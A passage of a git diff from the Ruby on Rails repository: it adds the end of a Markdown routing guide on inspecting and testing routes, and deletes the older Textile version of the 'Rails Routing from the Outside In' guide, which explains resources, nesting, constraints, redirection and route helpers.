+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern to match
+* The routing parameters for the route
+
+For example, here's a small section of the `rake routes` output for a RESTful route:
+
+```
+ users GET /users(.:format) users#index
+ POST /users(.:format) users#create
+ new_user GET /users/new(.:format) users#new
+edit_user GET /users/:id/edit(.:format) users#edit
+```
+
+You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:
+
+```bash
+$ CONTROLLER=users rake routes
+```
+
+TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+
+### Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
+
+* `assert_generates`
+* `assert_recognizes`
+* `assert_routing`
+
+#### The `assert_generates` Assertion
+
+`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
+
+```ruby
+assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
+assert_generates "/about", :controller => "pages", :action => "about"
+```
+
+#### The `assert_recognizes` Assertion
+
+`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application.
+
+```ruby
+assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
+```
+
+You can supply a `:method` argument to specify the HTTP verb:
+
+```ruby
+assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
+```
+
+#### The `assert_routing` Assertion
+
+The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`.
+
+```ruby
+assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
+```
diff --git a/guides/source/routing.textile b/guides/source/routing.textile
deleted file mode 100644
index bed7d03e06..0000000000
--- a/guides/source/routing.textile
+++ /dev/null
@@ -1,953 +0,0 @@
-h2. Rails Routing from the Outside In
-
-This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
-
-* Understand the code in +routes.rb+
-* Construct your own routes, using either the preferred resourceful style or the <tt>match</tt> method
-* Identify what parameters to expect an action to receive
-* Automatically create paths and URLs using route helpers
-* Use advanced techniques such as constraints and Rack endpoints
-
-endprologue.
-
-h3. The Purpose of the Rails Router
-
-The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
-
-h4. Connecting URLs to Code
-
-When your Rails application receives an incoming request
-
-<plain>
-GET /patients/17
-</plain>
-
-it asks the router to match it to a controller action. If the first matching route is
-
-<ruby>
-get "/patients/:id" => "patients#show"
-</ruby>
-
-the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+.
-
-h4. Generating Paths and URLs from Code
-
-You can also generate paths and URLs. If the route above is modified to be
-
-<ruby>
-get "/patients/:id" => "patients#show", :as => "patient"
-</ruby>
-
-If your application contains this code:
-
-<ruby>
-@patient = Patient.find(17)
-</ruby>
-
-<erb>
-<%= link_to "Patient Record", patient_path(@patient) %>
-</erb>
-
-The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
-
-h3. Resource Routing: the Rails Default
-
-Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+ actions, a resourceful route declares them in a single line of code.
-
-h4. Resources on the Web
-
-Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as +GET+, +POST+, +PATCH+, +PUT+ and +DELETE+. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
-
-When your Rails application receives an incoming request for
-
-<plain>
-DELETE /photos/17
-</plain>
-
-it asks the router to map it to a controller action. If the first matching route is
-
-<ruby>
-resources :photos
-</ruby>
-
-Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+.
-
-h4. CRUD, Verbs, and Actions
-
-In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
-
-<ruby>
-resources :photos
-</ruby>
-
-creates seven different routes in your application, all mapping to the +Photos+ controller:
-
-|_. HTTP Verb |_.Path |_.action |_.used for |
-|GET |/photos |index |display a list of all photos |
-|GET |/photos/new |new |return an HTML form for creating a new photo |
-|POST |/photos |create |create a new photo |
-|GET |/photos/:id |show |display a specific photo |
-|GET |/photos/:id/edit |edit |return an HTML form for editing a photo |
-|PATCH/PUT |/photos/:id |update |update a specific photo |
-|DELETE |/photos/:id |destroy |delete a specific photo |
-
-NOTE: Rails routes are matched in the order they are specified, so if you have a +resources :photos+ above a +get 'photos/poll'+ the +show+ action's route for the +resources+ line will be matched before the +get+ line. To fix this, move the +get+ line *above* the +resources+ line so that it is matched first.
-
-h4. Paths and URLs
-
-Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of +resources :photos+:
-
-* +photos_path+ returns +/photos+
-* +new_photo_path+ returns +/photos/new+
-* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+)
-* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+)
-
-Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix.
-
-NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
-
-h4. Defining Multiple Resources at the Same Time
-
-If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+:
-
-<ruby>
-resources :photos, :books, :videos
-</ruby>
-
-This works exactly the same as
-
-<ruby>
-resources :photos
-resources :books
-resources :videos
-</ruby>
-
-h4. Singular Resources
-
-Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action.
-
-<ruby>
-get "profile" => "users#show"
-</ruby>
-
-This resourceful route
-
-<ruby>
-resource :geocoder
-</ruby>
-
-creates six different routes in your application, all mapping to the +Geocoders+ controller:
-
-|_.HTTP Verb |_.Path |_.action |_.used for |
-|GET |/geocoder/new |new |return an HTML form for creating the geocoder |
-|POST |/geocoder |create |create the new geocoder |
-|GET |/geocoder |show |display the one and only geocoder resource |
-|GET |/geocoder/edit |edit |return an HTML form for editing the geocoder |
-|PATCH/PUT |/geocoder |update |update the one and only geocoder resource |
-|DELETE |/geocoder |destroy |delete the geocoder resource |
-
-NOTE: Because you might want to use the same controller for a singular route (+/account+) and a plural route (+/accounts/45+), singular resources map to plural controllers.
-
-A singular resourceful route generates these helpers:
-
-* +new_geocoder_path+ returns +/geocoder/new+
-* +edit_geocoder_path+ returns +/geocoder/edit+
-* +geocoder_path+ returns +/geocoder+
-
-As with plural resources, the same helpers ending in +_url+ will also include the host, port and path prefix.
-
-h4. Controller Namespaces and Routing
-
-You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router:
-
-<ruby>
-namespace :admin do
- resources :posts, :comments
-end
-</ruby>
-
-This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create:
-
-|_.HTTP Verb |_.Path |_.action |_.named helper |
-|GET |/admin/posts |index | admin_posts_path |
-|GET |/admin/posts/new |new | new_admin_post_path |
-|POST |/admin/posts |create | admin_posts_path |
-|GET |/admin/posts/:id |show | admin_post_path(:id) |
-|GET |/admin/posts/:id/edit |edit | edit_admin_post_path(:id) |
-|PATCH/PUT |/admin/posts/:id |update | admin_post_path(:id) |
-|DELETE |/admin/posts/:id |destroy | admin_post_path(:id) |
-
-If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use
-
-<ruby>
-scope :module => "admin" do
- resources :posts, :comments
-end
-</ruby>
-
-or, for a single case
-
-<ruby>
-resources :posts, :module => "admin"
-</ruby>
-
-If you want to route +/admin/posts+ to +PostsController+ (without the +Admin::+ module prefix), you could use
-
-<ruby>
-scope "/admin" do
- resources :posts, :comments
-end
-</ruby>
-
-or, for a single case
-
-<ruby>
-resources :posts, :path => "/admin/posts"
-</ruby>
-
-In each of these cases, the named routes remain the same as if you did not use +scope+. In the last case, the following paths map to +PostsController+:
-
-|_.HTTP Verb |_.Path |_.action |_.named helper |
-|GET |/admin/posts |index | posts_path |
-|GET |/admin/posts/new |new | new_post_path |
-|POST |/admin/posts |create | posts_path |
-|GET |/admin/posts/:id |show | post_path(:id) |
-|GET |/admin/posts/:id/edit|edit | edit_post_path(:id)|
-|PATCH/PUT |/admin/posts/:id |update | post_path(:id) |
-|DELETE |/admin/posts/:id |destroy | post_path(:id) |
-
-h4. Nested Resources
-
-It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
-
-<ruby>
-class Magazine < ActiveRecord::Base
- has_many :ads
-end
-
-class Ad < ActiveRecord::Base
- belongs_to :magazine
-end
-</ruby>
-
-Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
-
-<ruby>
-resources :magazines do
- resources :ads
-end
-</ruby>
-
-In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine:
-
-|_.HTTP Verb |_.Path |_.action |_.used for |
-|GET |/magazines/:magazine_id/ads |index |display a list of all ads for a specific magazine |
-|GET |/magazines/:magazine_id/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine |
-|POST |/magazines/:magazine_id/ads |create |create a new ad belonging to a specific magazine |
-|GET |/magazines/:magazine_id/ads/:id |show |display a specific ad belonging to a specific magazine |
-|GET |/magazines/:magazine_id/ads/:id/edit |edit |return an HTML form for editing an ad belonging to a specific magazine |
-|PATCH/PUT |/magazines/:magazine_id/ads/:id |update |update a specific ad belonging to a specific magazine |
-|DELETE |/magazines/:magazine_id/ads/:id |destroy |delete a specific ad belonging to a specific magazine |
-
-This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+).
-
-h5. Limits to Nesting
-
-You can nest resources within other nested resources if you like. For example:
-
-<ruby>
-resources :publishers do
- resources :magazines do
- resources :photos
- end
-end
-</ruby>
-
-Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as
-
-<pre>
-/publishers/1/magazines/2/photos/3
-</pre>
-
-The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
-
-TIP: _Resources should never be nested more than 1 level deep._
-
-h4. Routing concerns
-
-Routing Concerns allows you to declare common routes that can be reused inside others resources and routes.
-
-<ruby>
-concern :commentable do
- resources :comments
-end
-
-concern :image_attachable do
- resources :images, only: :index
-end
-</ruby>
-
-These concerns can be used in resources to avoid code duplication and share behavior across routes.
-
-<ruby>
-resources :messages, concerns: :commentable
-
-resources :posts, concerns: [:commentable, :image_attachable]
-</ruby>
-
-Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
-
-<ruby>
-namespace :posts do
- concerns :commentable
-end
-</ruby>
-
-h4. Creating Paths and URLs From Objects
-
-In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
-
-<ruby>
-resources :magazines do
- resources :ads
-end
-</ruby>
-
-When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ instead of the numeric IDs.
-
-<erb>
-<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-</erb>
-
-You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want:
-
-<erb>
-<%= link_to "Ad details", url_for([@magazine, @ad]) %>
-</erb>
-
-In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call:
-
-<erb>
-<%= link_to "Ad details", [@magazine, @ad] %>
-</erb>
-
-If you wanted to link to just a magazine:
-
-<erb>
-<%= link_to "Magazine details", @magazine %>
-</erb>
-
-For other actions, you just need to insert the action name as the first element of the array:
-
-<erb>
-<%= link_to "Edit Ad", [:edit, @magazine, @ad] %>
-</erb>
-
-This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
-
-h4. Adding More RESTful Actions
-
-You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
-
-h5. Adding Member Routes
-
-To add a member route, just add a +member+ block into the resource block:
-
-<ruby>
-resources :photos do
- member do
- get 'preview'
- end
-end
-</ruby>
-
-This will recognize +/photos/1/preview+ with GET, and route to the +preview+ action of +PhotosController+. It will also create the +preview_photo_url+ and +preview_photo_path+ helpers.
-
-Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use +get+, +patch+, +put+, +post+, or +delete+ here. If you don't have multiple +member+ routes, you can also pass +:on+ to a route, eliminating the block:
-
-<ruby>
-resources :photos do
- get 'preview', :on => :member
-end
-</ruby>
-
-h5. Adding Collection Routes
-
-To add a route to the collection:
-
-<ruby>
-resources :photos do
- collection do
- get 'search'
- end
-end
-</ruby>
-
-This will enable Rails to recognize paths such as +/photos/search+ with GET, and route to the +search+ action of +PhotosController+. It will also create the +search_photos_url+ and +search_photos_path+ route helpers.
-
-Just as with member routes, you can pass +:on+ to a route:
-
-<ruby>
-resources :photos do
- get 'search', :on => :collection
-end
-</ruby>
-
-h5. A Note of Caution
-
-If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
-
-h3. Non-Resourceful Routes
-
-In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
-
-While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
-
-In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
-
-h4. Bound Parameters
-
-When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
-
-<ruby>
-get ':controller(/:action(/:id))'
-</ruby>
-
-If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses.
-
-h4. Dynamic Segments
-
-You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route:
-
-<ruby>
-get ':controller/:action/:id/:user_id'
-</ruby>
-
-An incoming path of +/photos/show/1/2+ will be dispatched to the +show+ action of the +PhotosController+. +params[:id]+ will be +"1"+, and +params[:user_id]+ will be +"2"+.
-
-NOTE: You can't use +:namespace+ or +:module+ with a +:controller+ path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
-
-<ruby>
-get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
-</ruby>
-
-TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, +:id+ => /[^\/]+/ allows anything except a slash.
-
-h4. Static Segments
-
-You can specify static segments when creating a route:
-
-<ruby>
-get ':controller/:action/:id/with_user/:user_id'
-</ruby>
-
-This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-
-h4. The Query String
-
-The +params+ will also include any parameters from the query string. For example, with this route:
-
-<ruby>
-get ':controller/:action/:id'
-</ruby>
-
-An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-
-h4. Defining Defaults
-
-You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults:
-
-<ruby>
-get 'photos/:id' => 'photos#show'
-</ruby>
-
-With this route, Rails will match an incoming path of +/photos/12+ to the +show+ action of +PhotosController+.
-
-You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that you do not specify as dynamic segments. For example:
-
-<ruby>
-get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
-</ruby>
-
-Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+.
-
-h4. Naming Routes
-
-You can specify a name for any route using the +:as+ option.
-
-<ruby>
-get 'exit' => 'sessions#destroy', :as => :logout
-</ruby>
-
-This will create +logout_path+ and +logout_url+ as named helpers in your application. Calling +logout_path+ will return +/exit+
-
-You can also use this to override routing methods defined by resources, like this:
-
-<ruby>
-get ':username', :to => "users#show", :as => :user
-</ruby>
-
-This will define a +user_path+ method that will be available in controllers, helpers and views that will go to a route such as +/bob+. Inside the +show+ action of +UsersController+, +params[:username]+ will contain the username for the user. Change +:username+ in the route definition if you do not want your parameter name to be +:username+.
-
-h4. HTTP Verb Constraints
-
-In general, you should use the +get+, +post+, +put+ and +delete+ methods to constrain a route to a particular verb. You can use the +match+ method with the +:via+ option to match multiple verbs at once:
-
-<ruby>
-match 'photos' => 'photos#show', :via => [:get, :post]
-</ruby>
-
-You can match all verbs to a particular route using +:via => :all+:
-
-<ruby>
-match 'photos' => 'photos#show', :via => :all
-</ruby>
-
-You should avoid routing all verbs to an action unless you have a good reason to, as routing both +GET+ requests and +POST+ requests to a single action has security implications.
-
-h4. Segment Constraints
-
-You can use the +:constraints+ option to enforce a format for a dynamic segment:
-
-<ruby>
-get 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
-</ruby>
-
-This route would match paths such as +/photos/A12345+. You can more succinctly express the same route this way:
-
-<ruby>
-get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
-</ruby>
-
-+:constraints+ takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
-
-<ruby>
-get '/:id' => 'posts#show', :constraints => {:id => /^\d/}
-</ruby>
-
-However, note that you don't need to use anchors because all routes are anchored at the start.
-
-For example, the following routes would allow for +posts+ with +to_param+ values like +1-hello-world+ that always begin with a number and +users+ with +to_param+ values like +david+ that never begin with a number to share the root namespace:
-
-<ruby>
-get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
-get '/:username' => 'users#show'
-</ruby>
-
-h4. Request-Based Constraints
-
-You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a +String+.
-
-You specify a request-based constraint the same way that you specify a segment constraint:
-
-<ruby>
-get "photos", :constraints => {:subdomain => "admin"}
-</ruby>
-
-You can also specify constraints in a block form:
-
-<ruby>
-namespace :admin do
- constraints :subdomain => "admin" do
- resources :photos
- end
-end
-</ruby>
-
-h4. Advanced Constraints
-
-If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do:
-
-<ruby>
-class BlacklistConstraint
- def initialize
- @ips = Blacklist.retrieve_ips
- end
-
- def matches?(request)
- @ips.include?(request.remote_ip)
- end
-end
-
-TwitterClone::Application.routes.draw do
- get "*path" => "blacklist#index",
- :constraints => BlacklistConstraint.new
-end
-</ruby>
-
-You can also specify constraints as a lambda:
-
-<ruby>
-TwitterClone::Application.routes.draw do
- get "*path" => "blacklist#index",
- :constraints => lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
-end
-</ruby>
-
-Both the +matches?+ method and the lambda gets the +request+ object as an argument.
-
-h4. Route Globbing
-
-Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
-
-<ruby>
-get 'photos/*other' => 'photos#unknown'
-</ruby>
-
-This route would match +photos/12+ or +/photos/long/path/to/12+, setting +params[:other]+ to +"12"+ or +"long/path/to/12"+.
-
-Wildcard segments can occur anywhere in a route. For example,
-
-<ruby>
-get 'books/*section/:title' => 'books#show'
-</ruby>
-
-would match +books/some/section/last-words-a-memoir+ with +params[:section]+ equals +"some/section"+, and +params[:title]+ equals +"last-words-a-memoir"+.
-
-Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,
-
-<ruby>
-get '*a/foo/*b' => 'test#index'
-</ruby>
-
-would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +params[:b]+ equals +"bar/baz"+.
-
-NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:
-
-<ruby>
-get '*pages' => 'pages#show'
-</ruby>
-
-NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this:
-
-<ruby>
-get '*pages' => 'pages#show', :format => false
-</ruby>
-
-NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this:
-
-<ruby>
-get '*pages' => 'pages#show', :format => true
-</ruby>
-
-h4. Redirection
-
-You can redirect any path to another path using the +redirect+ helper in your router:
-
-<ruby>
-get "/stories" => redirect("/posts")
-</ruby>
-
-You can also reuse dynamic segments from the match in the path to redirect to:
-
-<ruby>
-get "/stories/:name" => redirect("/posts/%{name}")
-</ruby>
-
-You can also provide a block to redirect, which receives the params and (optionally) the request object:
-
-<ruby>
-get "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" }
-get "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
-</ruby>
-
-Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
-
-In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request.
-
-h4. Routing to Rack Applications
-
-Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
-
-<ruby>
-match "/application.js" => Sprockets, :via => :all
-</ruby>
-
-As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, body]</tt>, the router won't know the difference between the Rack application and an action. This is an appropriate use of +:via => :all+, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
-
-NOTE: For the curious, +"posts#index"+ actually expands out to +PostsController.action(:index)+, which returns a valid Rack application.
-
-h4. Using +root+
-
-You can specify what Rails should route +"/"+ to with the +root+ method:
-
-<ruby>
-root :to => 'pages#main'
-root 'pages#main' # shortcut for the above
-</ruby>
-
-You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect.
-
-NOTE: The +root+ route only routes +GET+ requests to the action.
-
-h4. Unicode character routes
-
-You can specify unicode character routes directly. For example
-
-<ruby>
-match 'こんにちは' => 'welcome#index'
-</ruby>
-
-h3. Customizing Resourceful Routes
-
-While the default routes and helpers generated by +resources :posts+ will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
-
-h4. Specifying a Controller to Use
-
-The +:controller+ option lets you explicitly specify a controller to use for the resource. For example:
-
-<ruby>
-resources :photos, :controller => "images"
-</ruby>
-
-will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller:
-
-|_.HTTP Verb |_.Path |_.action |_.named helper |
-|GET |/photos |index | photos_path |
-|GET |/photos/new |new | new_photo_path |
-|POST |/photos |create | photos_path |
-|GET |/photos/:id |show | photo_path(:id) |
-|GET |/photos/:id/edit |edit | edit_photo_path(:id) |
-|PATCH/PUT |/photos/:id |update | photo_path(:id) |
-|DELETE |/photos/:id |destroy | photo_path(:id) |
-
-NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource.
-
-h4. Specifying Constraints
-
-You can use the +:constraints+ option to specify a required format on the implicit +id+. For example:
-
-<ruby>
-resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
-</ruby>
-
-This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match.
-
-You can specify a single constraint to apply to a number of routes by using the block form:
-
-<ruby>
-constraints(:id => /[A-Z][A-Z][0-9]+/) do
- resources :photos
- resources :accounts
-end
-</ruby>
-
-NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
-
-TIP: By default the +:id+ parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an +:id+ add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
-
-h4. Overriding the Named Helpers
-
-The +:as+ option lets you override the normal naming for the named route helpers. For example:
-
-<ruby>
-resources :photos, :as => "images"
-</ruby>
-
-will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers.
-
-|_.HTTP verb|_.Path |_.action |_.named helper |
-|GET |/photos |index | images_path |
-|GET |/photos/new |new | new_image_path |
-|POST |/photos |create | images_path |
-|GET |/photos/:id |show | image_path(:id) |
-|GET |/photos/:id/edit |edit | edit_image_path(:id) |
-|PATCH/PUT |/photos/:id |update | image_path(:id) |
-|DELETE |/photos/:id |destroy | image_path(:id) |
-
-h4. Overriding the +new+ and +edit+ Segments
-
-The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths:
-
-<ruby>
-resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-</ruby>
-
-This would cause the routing to recognize paths such as
-
-<plain>
-/photos/make
-/photos/1/change
-</plain>
-
-NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the +new+ and +edit+ actions.
-
-TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
-
-<ruby>
-scope :path_names => { :new => "make" } do
- # rest of your routes
-end
-</ruby>
-
-h4. Prefixing the Named Route Helpers
-
-You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
-
-<ruby>
-scope "admin" do
- resources :photos, :as => "admin_photos"
-end
-
-resources :photos
-</ruby>
-
-This will provide route helpers such as +admin_photos_path+, +new_admin_photo_path+ etc.
-
-To prefix a group of route helpers, use +:as+ with +scope+:
-
-<ruby>
-scope "admin", :as => "admin" do
- resources :photos, :accounts
-end
-
-resources :photos, :accounts
-</ruby>
-
-This will generate routes such as +admin_photos_path+ and +admin_accounts_path+ which map to +/admin/photos+ and +/admin/accounts+ respectively.
-
-NOTE: The +namespace+ scope will automatically add +:as+ as well as +:module+ and +:path+ prefixes.
-
-You can prefix routes with a named parameter also:
-
-<ruby>
-scope ":username" do
- resources :posts
-end
-</ruby>
-
-This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views.
-
-h4. Restricting the Routes Created
-
-By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes:
-
-<ruby>
-resources :photos, :only => [:index, :show]
-</ruby>
-
-Now, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the +create+ action) will fail.
-
-The +:except+ option specifies a route or list of routes that Rails should _not_ create:
-
-<ruby>
-resources :photos, :except => :destroy
-</ruby>
-
-In this case, Rails will create all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/:id+).
-
-TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-
-h4. Translated Paths
-
-Using +scope+, we can alter path names generated by resources:
-
-<ruby>
-scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
- resources :categories, :path => "kategorien"
-end
-</ruby>
-
-Rails now creates routes to the +CategoriesController+.
-
-|_.HTTP verb|_.Path |_.action |_.named helper |
-|GET |/kategorien |index | categories_path |
-|GET |/kategorien/neu |new | new_category_path |
-|POST |/kategorien |create | categories_path |
-|GET |/kategorien/:id |show | category_path(:id) |
-|GET |/kategorien/:id/bearbeiten |edit | edit_category_path(:id) |
-|PATCH/PUT |/kategorien/:id |update | category_path(:id) |
-|DELETE |/kategorien/:id |destroy | category_path(:id) |
-
-h4. Overriding the Singular Form
-
-If you want to define the singular form of a resource, you should add additional rules to the +Inflector+.
-
-<ruby>
-ActiveSupport::Inflector.inflections do |inflect|
- inflect.irregular 'tooth', 'teeth'
-end
-</ruby>
-
-h4(#nested-names). Using +:as+ in Nested Resources
-
-The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example,
-
-<ruby>
-resources :magazines do
- resources :ads, :as => 'periodical_ads'
-end
-</ruby>
-
-This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+.
-
-h3. Inspecting and Testing Routes
-
-Rails offers facilities for inspecting and testing your routes.
-
-h4. Seeing Existing Routes
-
-To get a complete list of the available routes in your application, visit +http://localhost:3000/rails/info/routes+ in your browser while your server is running in the *development* environment. You can also execute the +rake routes+ command in your terminal to produce the same output.
-
-Both methods will list all of your routes, in the same order that they appear in +routes.rb+. For each route, you'll see:
-
-* The route name (if any)
-* The HTTP verb used (if the route doesn't respond to all verbs)
-* The URL pattern to match
-* The routing parameters for the route
-
-For example, here's a small section of the +rake routes+ output for a RESTful route:
-
-<pre>
- users GET /users(.:format) users#index
- POST /users(.:format) users#create
- new_user GET /users/new(.:format) users#new
-edit_user GET /users/:id/edit(.:format) users#edit
-</pre>
-
